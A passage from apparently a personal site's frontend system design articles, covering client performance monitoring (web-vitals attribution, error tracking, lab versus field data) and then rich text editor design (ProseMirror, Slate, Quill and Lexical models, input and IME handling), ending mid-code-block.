  performanceRate: 0.1, // 10% of sessions
  errorRate: 1.0, // 100% of errors
  sessionBased: true, // Consistent within session
})

if (sampler.shouldSample("performance")) {
  collector.record(metrics)
}
```

**Sampling considerations:**

| Approach                   | Pros                                        | Cons                                 |
| -------------------------- | ------------------------------------------- | ------------------------------------ |
| Head-based (session start) | Consistent within session, simpler analysis | May miss rare interactions           |
| Tail-based (after event)   | Can prioritize errors/slow requests         | More complex, higher initial capture |
| Rate-based (percentage)    | Simple, predictable volume                  | May split sessions                   |
| Adaptive (dynamic rate)    | Handles traffic spikes                      | Complex to implement correctly       |

**Typical rates:**

- Errors: 100% (always capture)
- Performance metrics: 1-10% depending on traffic
- Session replay: 0.1-1% (high data volume)

### Attribution for Debugging

Raw metric values (LCP = 3.2s) are insufficient for debugging. Attribution data identifies what caused the value.

```typescript title="attribution-collection.ts" collapse={1-5}
import { onLCP, onINP, onCLS } from "web-vitals/attribution"

function collectWithAttribution(): void {
  onLCP((metric) => {
    const { element, url, timeToFirstByte, resourceLoadDelay, resourceLoadDuration, elementRenderDelay } =
      metric.attribution

    sendMetric({
      name: "LCP",
      value: metric.value,
      attribution: {
        element: element?.tagName,
        elementId: element?.id,
        url,
        ttfb: timeToFirstByte,
        resourceLoadDelay,
        resourceLoadDuration,
        elementRenderDelay,
      },
    })
  })

  onINP((metric) => {
    const { eventTarget, eventType, loadState, interactionTargetElement, longAnimationFrameEntries } =
      metric.attribution

    sendMetric({
      name: "INP",
      value: metric.value,
      attribution: {
        eventTarget,
        eventType,
        loadState,
        element: interactionTargetElement?.tagName,
        longFrames: longAnimationFrameEntries?.length,
      },
    })
  })

  onCLS((metric) => {
    const { largestShiftTarget, largestShiftTime, largestShiftValue, loadState } = metric.attribution

    sendMetric({
      name: "CLS",
      value: metric.value,
      attribution: {
        shiftTarget: largestShiftTarget?.tagName,
        shiftTime: largestShiftTime,
        shiftValue: largestShiftValue,
        loadState,
      },
    })
  })
}
```

**Attribution bundle size trade-off:**

The standard `web-vitals` build is ~2KB (brotli). The attribution build is ~3.5KB. The extra 1.5KB provides debugging data that makes metrics actionable—worth it for production monitoring.

## Error Tracking

### Capturing JavaScript Errors

Comprehensive error tracking requires multiple handlers for different error types.

```typescript title="error-tracking.ts" collapse={1-8,70-90}
interface ErrorReport {
  type: "runtime" | "resource" | "promise" | "network"
  message: string
  stack?: string
  source?: string
  line?: number
  column?: number
  timestamp: number
  url: string
  userAgent: string
}

class ErrorTracker {
  private endpoint: string
  private buffer: ErrorReport[] = []

  constructor(endpoint: string) {
    this.endpoint = endpoint
    this.setupHandlers()
  }

  private setupHandlers(): void {
    // Runtime errors (synchronous)
    window.onerror = (message, source, line, column, error) => {
      this.report({
        type: "runtime",
        message: String(message),
        stack: error?.stack,
        source,
        line: line ?? undefined,
        column: column ?? undefined,
      })
      return false // Don't suppress default handling
    }

    // Unhandled promise rejections
    window.addEventListener("unhandledrejection", (event) => {
      this.report({
        type: "promise",
        message: event.reason?.message || String(event.reason),
        stack: event.reason?.stack,
      })
    })

    // Resource loading errors (images, scripts, stylesheets)
    window.addEventListener(
      "error",
      (event) => {
        // Only handle resource errors, not runtime errors
        if (event.target !== window && event.target instanceof HTMLElement) {
          const target = event.target as HTMLImageElement | HTMLScriptElement | HTMLLinkElement
          this.report({
            type: "resource",
            message: `Failed to load ${target.tagName.toLowerCase()}`,
            source: (target as HTMLImageElement).src || (target as HTMLLinkElement).href,
          })
        }
      },
      true,
    ) // Capture phase to catch resource errors
  }

  private report(error: Omit<ErrorReport, "timestamp" | "url" | "userAgent">): void {
    const fullError: ErrorReport = {
      ...error,
      timestamp: Date.now(),
      url: location.href,
      userAgent: navigator.userAgent,
    }

    this.buffer.push(fullError)

    // Send immediately for errors (don't batch)
    this.flush()
  }

  private flush(): void {
    if (this.buffer.length === 0) return

    const payload = JSON.stringify(this.buffer)
    this.buffer = []

    navigator.sendBeacon(this.endpoint, payload)
  }
}
```

### Stack Trace Parsing

Production JavaScript is minified, making raw stack traces unreadable. Source maps restore original file/line information.

```typescript title="stack-parsing.ts" collapse={1-5,45-60}
interface ParsedFrame {
  function: string
  file: string
  line: number
  column: number
}

function parseStackTrace(stack: string): ParsedFrame[] {
  if (!stack) return []

  const lines = stack.split("\n")
  const frames: ParsedFrame[] = []

  // Common stack trace formats
  const chromeRegex = /at\s+(.+?)\s+\((.+?):(\d+):(\d+)\)/
  const firefoxRegex = /(.*)@(.+?):(\d+):(\d+)/

  for (const line of lines) {
    let match = chromeRegex.exec(line) || firefoxRegex.exec(line)

    if (match) {
      frames.push({
        function: match[1] || "<anonymous>",
        file: match[2],
        line: parseInt(match[3], 10),
        column: parseInt(match[4], 10),
      })
    }
  }

  return frames
}

// Server-side: Use source-map library to resolve original locations
// Libraries like Sentry, Datadog do this automatically
```

### Error Grouping

Without grouping, each error instance creates a separate alert. Grouping consolidates identical errors.

```typescript title="error-grouping.ts" collapse={1-3}
function generateErrorFingerprint(error: ErrorReport): string {
  // Group by: type + message pattern + top stack frame
  const parts = [error.type, normalizeMessage(error.message), error.stack ? getTopFrame(error.stack) : "no-stack"]

  return hashString(parts.join("|"))
}

function normalizeMessage(message: string): string {
  // Remove dynamic values that would create unique fingerprints
  return message
    .replace(/\d+/g, "<N>") // Numbers
    .replace(/'[^']+'/g, "'<S>'") // Single-quoted strings
    .replace(/"[^"]+"/g, '"<S>"') // Double-quoted strings
    .replace(/\b[a-f0-9]{8,}\b/gi, "<ID>") // Hex IDs
}

function getTopFrame(stack: string): string {
  const frames = parseStackTrace(stack)
  if (frames.length === 0) return "unknown"

  const top = frames[0]
  // Use file and line, not column (column varies with minification)
  return `${top.file}:${top.line}`
}

function hashString(str: string): string {
  // Simple hash for fingerprinting
  let hash = 0
  for (let i = 0; i < str.length; i++) {
    hash = (hash << 5) - hash + str.charCodeAt(i)
    hash |= 0
  }
  return hash.toString(16)
}
```

## Lab vs. Field Data

### Fundamental Differences

| Aspect          | Lab (Synthetic)                       | Field (RUM)                     |
| --------------- | ------------------------------------- | ------------------------------- |
| Environment     | Controlled (specific device, network) | Variable (real user conditions) |
| Reproducibility | High                                  | Low                             |
| Metrics         | All measurable                        | User-experienced only           |
| Use case        | Development, CI/CD gates              | Production monitoring           |
| Data volume     | One measurement                       | Aggregated from many            |
| Attribution     | Full stack traces                     | Limited (privacy, performance)  |

### When to Use Each

**Lab data (Lighthouse, WebPageTest):**

- Pre-deployment validation
- Regression testing in CI
- Debugging specific issues
- Comparing configurations

**Field data (RUM):**

- Understanding real user experience
- Identifying issues lab doesn't catch
- Monitoring production performance
- Correlating performance with business metrics

### The Gap Between Them

Lab measurements often differ from field measurements because:

1. **Device diversity**: Lab uses consistent hardware; users have varied devices
2. **Network conditions**: Lab uses throttled but stable connections; real networks are unpredictable
3. **User behavior**: Lab follows scripted paths; users interact unpredictably
4. **Third-party content**: Ads, widgets, and embeds behave differently in production
5. **Cache state**: Lab often tests cold cache; users may have warm caches

As web.dev states: "lab measurement is not a substitute for field measurement."

## The web-vitals Library

Google's `web-vitals` library is the recommended approach for measuring Core Web Vitals. It handles edge cases that raw Performance APIs miss.

### Why Use It Over Raw APIs

The library handles:

- Background tab detection (metrics shouldn't include time page was hidden)
- bfcache (back/forward cache) restoration (resets metrics appropriately)
- Iframe considerations
- Prerendered page handling
- Mobile-specific timing issues

### Basic Usage

```typescript title="web-vitals-setup.ts" collapse={1-5}
import { onCLS, onINP, onLCP, onFCP, onTTFB } from "web-vitals"

function sendToAnalytics(metric: { name: string; value: number; delta: number; id: string; rating: string }): void {
  const body = JSON.stringify({
    name: metric.name,
    value: metric.value,
    delta: metric.delta,
    id: metric.id,
    rating: metric.rating,
    page: location.pathname,
  })

  // Use sendBeacon for reliable delivery
  navigator.sendBeacon("/api/analytics", body)
}

// Register handlers - call each only once per page
onCLS(sendToAnalytics)
onINP(sendToAnalytics)
onLCP(sendToAnalytics)
onFCP(sendToAnalytics)
onTTFB(sendToAnalytics)
```

### Attribution Build

```typescript title="web-vitals-attribution.ts" collapse={1-3}
import { onLCP, onINP, onCLS } from "web-vitals/attribution"

// LCP attribution
onLCP((metric) => {
  console.log("LCP value:", metric.value)
  console.log("LCP element:", metric.attribution.element)
  console.log("Resource URL:", metric.attribution.url)
  console.log("TTFB:", metric.attribution.timeToFirstByte)
  console.log("Resource load delay:", metric.attribution.resourceLoadDelay)
  console.log("Element render delay:", metric.attribution.elementRenderDelay)
})

// INP attribution
onINP((metric) => {
  console.log("INP value:", metric.value)
  console.log("Event type:", metric.attribution.eventType)
  console.log("Event target:", metric.attribution.eventTarget)
  console.log("Load state:", metric.attribution.loadState)
  console.log("Long frames:", metric.attribution.longAnimationFrameEntries)
})

// CLS attribution
onCLS((metric) => {
  console.log("CLS value:", metric.value)
  console.log("Largest shift target:", metric.attribution.largestShiftTarget)
  console.log("Largest shift value:", metric.attribution.largestShiftValue)
  console.log("Largest shift time:", metric.attribution.largestShiftTime)
})
```

### Key API Details

**The `delta` property:**

Metrics like CLS can update multiple times as new layout shifts occur. The `delta` property contains only the change since the last report. For analytics platforms that don't support metric updates, sum the deltas.

**The `id` property:**

A unique identifier for the metric instance. Use this to aggregate multiple reports for the same page view (e.g., when CLS updates).

**Single call rule:**

Call each metric function only once per page load. Multiple calls create multiple PerformanceObserver instances, wasting memory and causing duplicate reports.

## Real-World Implementations

### Sentry Performance

**Architecture:**

- JavaScript SDK instruments fetch/XHR, framework components
- Traces capture transaction spans from browser to backend
- Web Vitals automatically captured via `web-vitals` library integration

**Key features:**

- Automatic performance instrumentation for React, Vue, Angular
- Distributed tracing connecting frontend spans to backend
- Release tracking for performance regression detection

### Datadog RUM

**Architecture:**

- Lightweight SDK (~30KB) loaded asynchronously
- Session-based collection with configurable sampling
- Automatic Core Web Vitals, resource timing, long tasks

**Key features:**

- Replay integration for debugging sessions
- Synthetic monitoring comparison
- Custom actions and timing

### Vercel Speed Insights

**Architecture:**

- Minimal script injection in Next.js builds
- Real user data collected to Vercel's analytics backend
- Core Web Vitals with Next.js-specific attribution

**Key features:**

- Route-level performance breakdown
- Comparison across deployments
- Integration with Vercel's deployment workflow

### Open-Source: SpeedCurve, Calibre

**Self-hosted considerations:**

- Data storage for high-cardinality metrics (ClickHouse, TimescaleDB)
- Aggregation pipelines for percentile calculation
- Visualization (Grafana dashboards)

## Conclusion

Client performance monitoring requires three interconnected systems:

1. **Metrics collection**: Core Web Vitals (LCP, INP, CLS) via the `web-vitals` library, supplemented by Navigation Timing, Resource Timing, and custom User Timing marks.

2. **Reliable transmission**: `navigator.sendBeacon()` on `visibilitychange` ensures data reaches your servers even during page unload. Batch secondary metrics; send errors immediately.

3. **Actionable analysis**: Raw numbers (LCP = 3.2s) aren't useful without attribution (LCP element = hero image, resource load delay = 1.8s). Capture debugging data to make metrics actionable.

The gap between lab and field data is fundamental. Lighthouse tells you what's possible; RUM tells you what users actually experience. Both are necessary for comprehensive performance management.

## Appendix

### Prerequisites

- Browser Performance APIs (PerformanceObserver, timing interfaces)
- HTTP basics (request/response timing, headers)
- JavaScript event handling

### Terminology

| Term | Definition                                                                      |
| ---- | ------------------------------------------------------------------------------- |
| RUM  | Real User Monitoring—collecting performance data from actual user sessions      |
| CrUX | Chrome User Experience Report—Google's public dataset of field performance data |
| TTFB | Time to First Byte—time until first byte of response received                   |
| FCP  | First Contentful Paint—time until first content renders                         |
| LCP  | Largest Contentful Paint—time until largest visible content renders             |
| INP  | Interaction to Next Paint—worst interaction latency (replaced FID)              |
| CLS  | Cumulative Layout Shift—measure of visual stability                             |
| LoAF | Long Animation Frame—frame taking >50ms, blocking smooth rendering              |

### Summary

- Core Web Vitals (LCP, INP, CLS) are evaluated at the 75th percentile with "Good" thresholds of 2.5s, 200ms, and 0.1 respectively
- INP replaced FID in March 2024, measuring all interactions rather than just the first
- PerformanceObserver with `buffered: true` captures metrics recorded before your code loads
- `navigator.sendBeacon()` on `visibilitychange` is the most reliable transmission pattern
- The `web-vitals` library handles edge cases (background tabs, bfcache) that raw APIs miss
- Attribution data transforms numbers into actionable debugging information
- Lab data (Lighthouse) and field data (RUM) serve different purposes—both are necessary

### References

- [web.dev - Web Vitals](https://web.dev/articles/vitals) - Core Web Vitals overview and guidance
- [web.dev - LCP](https://web.dev/articles/lcp) - Largest Contentful Paint specification
- [web.dev - INP](https://web.dev/articles/inp) - Interaction to Next Paint specification
- [web.dev - CLS](https://web.dev/articles/cls) - Cumulative Layout Shift specification
- [W3C Performance Timeline](https://www.w3.org/TR/performance-timeline/) - PerformanceObserver specification
- [W3C Navigation Timing Level 2](https://www.w3.org/TR/navigation-timing-2/) - Navigation timing specification
- [W3C Resource Timing](https://www.w3.org/TR/resource-timing-2/) - Resource timing specification
- [MDN - PerformanceObserver](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver) - API documentation
- [MDN - navigator.sendBeacon](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon) - Beacon API documentation
- [GoogleChrome/web-vitals](https://github.com/GoogleChrome/web-vitals) - Official web-vitals library
- [web.dev - Custom Metrics](https://web.dev/articles/custom-metrics) - User Timing and custom measurement
- [web.dev - Long Animation Frames](https://web.dev/articles/long-animation-frames) - LoAF API documentation

---

## Design a Rich Text Editor

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/design-rich-text-editor
**Category:** System Design / Frontend System Design
**Description:** Building a rich text editor for web applications requires choosing between fundamentally different document models, input handling strategies, and collaboration architectures. This article covers contentEditable vs custom rendering trade-offs, the document models behind ProseMirror, Slate, Lexical, and Quill, transaction-based state management, browser input handling (Input Events Level 2, IME), collaboration patterns (OT vs CRDT), virtualization for large documents, and accessibility requirements.

# Design a Rich Text Editor

Building a rich text editor for web applications requires choosing between fundamentally different document models, input handling strategies, and collaboration architectures. This article covers contentEditable vs custom rendering trade-offs, the document models behind ProseMirror, Slate, Lexical, and Quill, transaction-based state management, browser input handling (Input Events Level 2, IME), collaboration patterns (OT vs CRDT), virtualization for large documents, and accessibility requirements.

<figure>

![Rich text editor architecture: input events flow through the transaction engine, updating immutable state that the DOM reconciler renders. Collaboration layers intercept transactions for sync.](./rich-text-editor-architecture-input-events-flow-through-the-transaction-engine-u.svg)

<figcaption>Rich text editor architecture: input events flow through the transaction engine, updating immutable state that the DOM reconciler renders. Collaboration layers intercept transactions for sync.</figcaption>
</figure>

## Abstract

Rich text editors reduce to three core design decisions:

1. **Document model**: Linear operations (Quill Delta) vs hierarchical node trees (ProseMirror, Slate). Linear models are simpler but limit nesting; hierarchical models enable complex structures but require careful normalization.

2. **Rendering strategy**: `contentEditable` delegates to browser but inherits inconsistencies; custom rendering (Lexical, modern Slate) gives precise control at the cost of reimplementing selection, IME, and accessibility.

3. **Collaboration architecture**: Operational Transform (OT) requires a central server for ordering but is proven at Google Docs scale; CRDTs (Conflict-free Replicated Data Types) enable peer-to-peer sync and offline-first but carry metadata overhead.

The decision matrix:

| Factor                                 | Linear + contentEditable | Hierarchical + Custom                |
| -------------------------------------- | ------------------------ | ------------------------------------ |
| Implementation complexity              | Low                      | High                                 |
| Browser consistency                    | Poor                     | Excellent                            |
| Complex nesting (tables, nested lists) | Limited                  | Full support                         |
| Collaboration integration              | OT-friendly              | OT or CRDT                           |
| Bundle size                            | ~15KB (Quill)            | ~22KB (Lexical), ~40KB (ProseMirror) |

## The Challenge

### Why Rich Text Is Hard

Browser text editing was designed for simple forms, not document authoring. The challenges:

- **`contentEditable` inconsistency**: Different browsers handle identical operations differently. Pressing Backspace at a link boundary deletes the link in IE but only the character in Firefox.
- **IME complexity**: Input Method Editors for CJK (Chinese, Japanese, Korean) languages compose characters before committing—editors must handle composition events without corrupting state.
- **Selection edge cases**: Cursor positioning at block boundaries, triple-click behavior, and drag-selection across nested structures vary across browsers.
- **Undo/redo semantics**: What constitutes a single "action" for undo? A keystroke? A word? A formatting change?

### Browser Constraints

| Constraint                          | Impact                                              | Mitigation                                  |
| ----------------------------------- | --------------------------------------------------- | ------------------------------------------- |
| Main thread budget (16ms for 60fps) | Heavy DOM operations block typing                   | Transaction batching, incremental rendering |
| DOM mutation overhead               | Frequent updates cause layout thrashing             | Virtual DOM or custom reconciler            |
| Selection API limitations           | Can't programmatically set selection in some states | Shadow selection tracking                   |
| `execCommand` deprecation           | No standard API for formatting                      | Custom command implementations              |

### Scale Factors

| Factor             | Small Scale   | Large Scale                          |
| ------------------ | ------------- | ------------------------------------ |
| Document size      | < 1,000 words | > 100,000 words                      |
| Concurrent editors | 1-2           | 50+                                  |
| Nesting depth      | 2-3 levels    | Unlimited (outliners, nested tables) |
| Update frequency   | < 1/sec       | > 10/sec per user                    |

Large-scale documents require virtualization (rendering only visible blocks) and efficient position mapping. High concurrency demands robust conflict resolution.

## Design Paths

### Path 1: contentEditable with Thin Abstraction

**Architecture:**

```
[Browser contentEditable] → [Mutation Observer] → [Document Sync] → [State]
```

**How it works:**

Leverage browser's native editing. Observe mutations, extract operations, update internal state. Quill exemplifies this approach.

```typescript title="quill-delta-example.ts" collapse={1-2}
// Quill Delta: linear sequence of operations
import Quill from "quill"

const delta = {
  ops: [{ insert: "Hello " }, { insert: "World", attributes: { bold: true } }, { insert: "\n" }],
}

// Apply formatting: retain 6, apply bold to next 5 chars
const formatBold = {
  ops: [{ retain: 6 }, { retain: 5, attributes: { bold: true } }],
}
```

**Best for:**

- Blog post editors, comment systems
- Teams without deep frontend expertise
- Projects prioritizing time-to-market

**Device/network profile:**

- Works well on: All devices (native browser behavior)
- Struggles on: Complex documents with nested structures

**Implementation complexity:**

| Aspect           | Effort                          |
| ---------------- | ------------------------------- |
| Initial setup    | Low                             |
| Basic formatting | Low                             |
| Complex nesting  | High (fighting contentEditable) |
| Collaboration    | Medium (Delta is OT-friendly)   |

**Real-world example:**

Quill powers Slack's message composer. Linear Delta format suits chat where messages are primarily inline text with occasional formatting.

**Trade-offs:**

- ✅ Native typing feel, spell check, IME support
- ✅ Small bundle (~15KB)
- ✅ Fast initial render
- ❌ Browser inconsistencies leak through
- ❌ Complex structures (tables, nested lists) require workarounds
- ❌ Limited control over selection behavior

### Path 2: Hierarchical Model with Controlled contentEditable

**Architecture:**

```
[Schema] → [Immutable State] → [Transaction] → [New State] → [DOM Sync]
                                    ↑
                              [contentEditable events]
```

**How it works:**

Define a schema specifying valid document structures. All changes flow through transactions that produce new immutable state. A reconciler syncs state to DOM. ProseMirror and Tiptap use this approach.

```typescript title="prosemirror-schema.ts" collapse={1-4, 25-30}
import { Schema, NodeSpec, MarkSpec } from "prosemirror-model"

// Schema defines valid document structure
const nodes: Record<string, NodeSpec> = {
  doc: { content: "block+" },
  paragraph: {
    content: "inline*",
    group: "block",
    parseDOM: [{ tag: "p" }],
    toDOM: () => ["p", 0],
  },
  heading: {
    attrs: { level: { default: 1 } },
    content: "inline*",
    group: "block",
    parseDOM: [1, 2, 3, 4, 5, 6].map((level) => ({
      tag: `h${level}`,
      attrs: { level },
    })),
    toDOM: (node) => [`h${node.attrs.level}`, 0],
  },
  text: { group: "inline" },
}

const marks: Record<string, MarkSpec> = {
  bold: {
    parseDOM: [{ tag: "strong" }, { tag: "b" }],
    toDOM: () => ["strong", 0],
  },
  link: {
    attrs: { href: {} },
    parseDOM: [{ tag: "a[href]", getAttrs: (dom) => ({ href: (dom as HTMLElement).getAttribute("href") }) }],
    toDOM: (node) => ["a", { href: node.attrs.href }, 0],
  },
}

const schema = new Schema({ nodes, marks })
```

**Transaction-based state management:**

```typescript title="prosemirror-transaction.ts" collapse={1-3}
import { EditorState, Transaction } from "prosemirror-state"
import { toggleMark } from "prosemirror-commands"

// Every change creates a transaction
function applyBold(state: EditorState): Transaction {
  const { from, to } = state.selection
  const tr = state.tr.addMark(from, to, schema.marks.bold.create())
  return tr
}

// State is immutable—applying transaction creates new state
const newState = state.apply(transaction)
```

**Best for:**

- CMS content editors, documentation tools
- Applications requiring custom block types
- Collaborative editing with complex structures

**Device/network profile:**

- Works well on: Desktop, modern mobile browsers
- Struggles on: Low-memory devices with very large documents (>50K words)

**Implementation complexity:**

| Aspect                                 | Effort         |
| -------------------------------------- | -------------- |
| Initial setup                          | Medium         |
| Schema definition                      | Medium         |
| Custom node types                      | Medium         |
| Collaboration (via prosemirror-collab) | Medium         |
| Undo/redo                              | Low (built-in) |

**Real-world example:**

The New York Times uses ProseMirror (via Tiptap wrapper) for article authoring. The schema enforces editorial structure while allowing rich embedded content.

**Trade-offs:**

- ✅ Consistent behavior across browsers
- ✅ Schema enforces valid structures
- ✅ Transaction history enables time-travel debugging
- ✅ Mature collaboration support (prosemirror-collab)
- ❌ Larger bundle (~40KB core)
- ❌ Steeper learning curve
- ❌ Still relies on contentEditable for text input

### Path 3: Fully Custom Rendering

**Architecture:**

```
[Hidden Input] → [Editor State] → [Custom DOM Reconciler] → [Rendered View]
                      ↑
              [Virtual Selection]
```

**How it works:**

Abandon contentEditable entirely. Capture input via hidden textarea or synthetic event handling. Maintain virtual selection state. Render document with complete control. Lexical (Meta) and modern Slate versions use this approach.

```typescript title="lexical-state.ts" collapse={1-4}
import { $getRoot, $createParagraphNode, $createTextNode } from "lexical"
import { LexicalEditor } from "lexical"

// Lexical: All mutations happen in update callbacks
editor.update(() => {
  const root = $getRoot()
  const paragraph = $createParagraphNode()
  const text = $createTextNode("Hello World")

  paragraph.append(text)
  root.append(paragraph)
})

// Read state in read callbacks
editor.getEditorState().read(() => {
  const root = $getRoot()
  const textContent = root.getTextContent()
  console.log(textContent) // "Hello World"
})
```

**The `$` convention:**

Lexical uses `$`-prefixed functions (like `$getRoot()`, `$getSelection()`) that only work inside `editor.update()` or `editor.read()` callbacks. This is similar to React Hooks—calling them outside the proper context throws an error.

**Best for:**

- Applications requiring pixel-perfect rendering
- Complex interactive features (mentions, embeds)
- Performance-critical large documents

**Device/network profile:**

- Works well on: All devices with proper optimization
- Requires: Careful IME handling, custom accessibility implementation

**Implementation complexity:**

| Aspect                   | Effort                                    |
| ------------------------ | ----------------------------------------- |
| Initial setup            | High                                      |
| IME support              | High                                      |
| Accessibility            | High (must implement ARIA manually)       |
| Performance optimization | Medium (framework handles reconciliation) |
| Collaboration            | Medium (integrates with Yjs)              |

**Real-world example:**

Meta uses Lexical for Facebook and Instagram post composers. Custom rendering enables consistent behavior across their massive user base with varying browser versions.

**Trade-offs:**

- ✅ Complete control over rendering
- ✅ Consistent cross-browser behavior
- ✅ Smaller bundle than ProseMirror (~22KB)
- ✅ Excellent performance characteristics
- ❌ Must handle IME composition manually
- ❌ Accessibility requires explicit implementation
- ❌ Native spell check integration is complex

### Decision Matrix

| Factor              | Quill (contentEditable) | ProseMirror (Controlled) | Lexical (Custom) |
| ------------------- | ----------------------- | ------------------------ | ---------------- |
| Bundle size         | 15KB                    | 40KB                     | 22KB             |
| Browser consistency | Poor                    | Good                     | Excellent        |
| Complex structures  | Limited                 | Full                     | Full             |
| IME handling        | Native                  | Native                   | Manual           |
| Accessibility       | Native                  | Native + ARIA            | Manual           |
| Learning curve      | Low                     | Medium                   | Medium-High      |
| Collaboration       | OT (Delta)              | OT (prosemirror-collab)  | CRDT (Yjs)       |
| Extensibility       | Plugins                 | Schema + Plugins         | Nodes + Commands |

## Document Models Deep Dive

### ProseMirror: Schema-Driven Node Trees

ProseMirror's document model is a tree of nodes, where the schema strictly defines what structures are valid.

**Key concepts:**

1. **Nodes**: Block-level (paragraph, heading) or inline (text). Block nodes contain other nodes; inline nodes contain marks.
2. **Marks**: Annotations on inline content (bold, italic, link). Unlike nested DOM elements, marks are flat—text can have multiple marks without creating nested spans.
3. **Positions**: Dual indexing system. Tree navigation for structure, flat token sequences for efficient position mapping.

```typescript title="prosemirror-position-mapping.ts"
// Position mapping: critical for collaboration
// Document: <p>Hello</p><p>World</p>
// Positions: 0=before doc, 1=before "Hello", 6=after "Hello", 7=between paragraphs...

// When inserting at position 3, all positions ≥3 shift
import { Mapping, StepMap } from "prosemirror-transform"

const map = new StepMap([3, 0, 5]) // At pos 3, delete 0, insert 5
const newPos = map.map(10) // Position 10 becomes 15
```

**Why flat marks instead of nested elements?**

Consider bold and italic text: `**_text_**`. DOM would nest `<strong><em>text</em></strong>`. ProseMirror stores `text` with marks `[bold, italic]`. This simplifies:

- Toggling formats (no tree restructuring)
- Overlapping ranges (partial bold + partial italic)
- Serialization (marks are metadata, not structure)

### Slate.js: Schema-Less Flexibility

Slate takes the opposite approach—no schema by default. The document is a recursive tree, and you enforce structure through normalization.

**Core principles:**

```typescript title="slate-normalizer.ts" collapse={1-3}
import { Editor, Transforms, Element, Node } from "slate"

// Custom normalizer: ensure paragraphs contain only text/inline elements
const withParagraphsNormalized = (editor: Editor): Editor => {
  const { normalizeNode } = editor

  editor.normalizeNode = ([node, path]) => {
    if (Element.isElement(node) && node.type === "paragraph") {
      for (const [child, childPath] of Node.children(editor, path)) {
        // If paragraph contains a block element, unwrap it
        if (Element.isElement(child) && !editor.isInline(child)) {
          Transforms.unwrapNodes(editor, { at: childPath })
          return // Normalization is recursive—return after one fix
        }
      }
    }
    normalizeNode([node, path])
  }

  return editor
}
```

**Why return after one fix?**

Slate's normalization is iterative. After fixing one issue, the node is "dirty" again and will be re-normalized. This prevents infinite loops and ensures each fix is atomic.

### Quill Delta: Linear Simplicity

Delta represents documents as a sequence of operations applied to an empty document.

```typescript title="quill-delta-operations.ts"
// Document: "Hello World" with "World" bold
const doc = {
  ops: [{ insert: "Hello " }, { insert: "World", attributes: { bold: true } }, { insert: "\n" }],
}

// Edit: Insert "Beautiful " before "World"
const edit = {
  ops: [
    { retain: 6 }, // Keep "Hello "
    { insert: "Beautiful " }, // Insert new text
  ],
}

// Composed result: "Hello Beautiful World\n"
```

**Operational Transform compatibility:**

Delta's linear structure makes OT transformation straightforward. When two users edit concurrently:

```
User A: retain 6, insert "X"       → "Hello XWorld"
User B: retain 6, insert "Y"       → "Hello YWorld"

Transform A against B: retain 7, insert "X"  → "Hello YXWorld"
Transform B against A: retain 6, insert "Y"  → "Hello XYWorld" (wrong!)
```

Delta includes tie-breaking rules (typically: earlier operation wins position, later operation follows).

### Lexical: Commands and Nodes

Lexical separates concerns into:

1. **Nodes**: Define structure (ParagraphNode, TextNode, custom nodes)
2. **Commands**: Define operations (FORMAT_TEXT_COMMAND, INSERT_PARAGRAPH_COMMAND)
3. **Listeners**: React to state changes

```typescript title="lexical-custom-node.ts" collapse={1-5, 35-50}
import {
  DecoratorNode,
  LexicalNode,
  NodeKey,
  SerializedLexicalNode,
  Spread
} from 'lexical';

type SerializedMentionNode = Spread<
  { userId: string; displayName: string },
  SerializedLexicalNode
>;

export class MentionNode extends DecoratorNode<JSX.Element> {
  __userId: string;
  __displayName: string;

  static getType(): string {
    return 'mention';
  }

  static clone(node: MentionNode): MentionNode {
    return new MentionNode(node.__userId, node.__displayName, node.__key);
  }

  constructor(userId: string, displayName: string, key?: NodeKey) {
    super(key);
    this.__userId = userId;
    this.__displayName = displayName;
  }

  createDOM(): HTMLElement {
    const span = document.createElement('span');
    span.className = 'mention';
    return span;
  }

  decorate(): JSX.Element {
    return <MentionComponent userId={this.__userId} name={this.__displayName} />;
  }

  static importJSON(serialized: SerializedMentionNode): MentionNode {
    return new MentionNode(serialized.userId, serialized.displayName);
  }

  exportJSON(): SerializedMentionNode {
    return {
      type: 'mention',
      version: 1,
      userId: this.__userId,
      displayName: this.__displayName
    };
  }
}
```

## Input Handling

### Input Events Level 2

The `beforeinput` event (W3C Input Events Level 2) fires before the browser modifies the DOM. This is the interception point for custom editors.

```typescript title="beforeinput-handling.ts"
element.addEventListener("beforeinput", (e: InputEvent) => {
  // inputType describes the editing action
  switch (e.inputType) {
    case "insertText":
      e.preventDefault()
      insertText(e.data!) // e.data contains the text
      break

    case "insertParagraph":
      e.preventDefault()
      insertParagraph()
      break

    case "deleteContentBackward": // Backspace
      e.preventDefault()
      deleteBackward()
      break

    case "insertFromPaste":
      e.preventDefault()
      const html = e.dataTransfer?.getData("text/html")
      const text = e.dataTransfer?.getData("text/plain")
      handlePaste(html || text)
      break

    case "insertCompositionText":
      // IME composition—cannot preventDefault during composition
      // Handle in compositionend instead
      break
  }
})
```

**Key `inputType` values:**

| inputType               | Trigger     | Cancelable              |
| ----------------------- | ----------- | ----------------------- |
| `insertText`            | Typing      | Yes                     |
| `insertParagraph`       | Enter       | Yes                     |
| `insertLineBreak`       | Shift+Enter | Yes                     |
| `deleteContentBackward` | Backspace   | Yes                     |
| `deleteContentForward`  | Delete      | Yes                     |
| `insertFromPaste`       | Ctrl+V      | Yes                     |
| `insertCompositionText` | IME         | No (during composition) |
| `historyUndo`           | Ctrl+Z      | Yes                     |
| `historyRedo`           | Ctrl+Y      | Yes                     |

### IME Composition Handling

Input Method Editors (IME) for CJK languages compose characters before committing. During composition, the text is provisional.

```typescript title="ime-handling.ts"
let isComposing = false

element.addEventListener("compositionstart", () => {
  isComposing = true
  // Store current selection for restoration if composition is cancelled
})

element.addEventListener("compositionupdate", (e: CompositionEvent) => {
  // e.data contains the current composition string
  // Update preview but don't commit to document state
  showCompositionPreview(e.data)
})

element.addEventListener("compositionend", (e: CompositionEvent) => {
  isComposing = false
  // e.data contains the final committed text
  commitText(e.data)
  clearCompositionPreview()
})

// In beforeinput handler:
element.addEventListener("beforeinput", (e: InputEvent) => {
  if (e.inputType === "insertCompositionText") {
    // Cannot preventDefault during IME composition
    // Let the browser handle it, sync state in compositionend
    return
  }
  // Handle other input types...
})
```

**Why can't we preventDefault IME input?**

The IME is a system component outside browser control. Preventing default would break the composition UI. Instead, editors must:

1. Allow composition to proceed
2. Track composition state
3. Sync internal state only when composition ends

### Selection and Range APIs

```typescript title="selection-management.ts"
// Get current selection
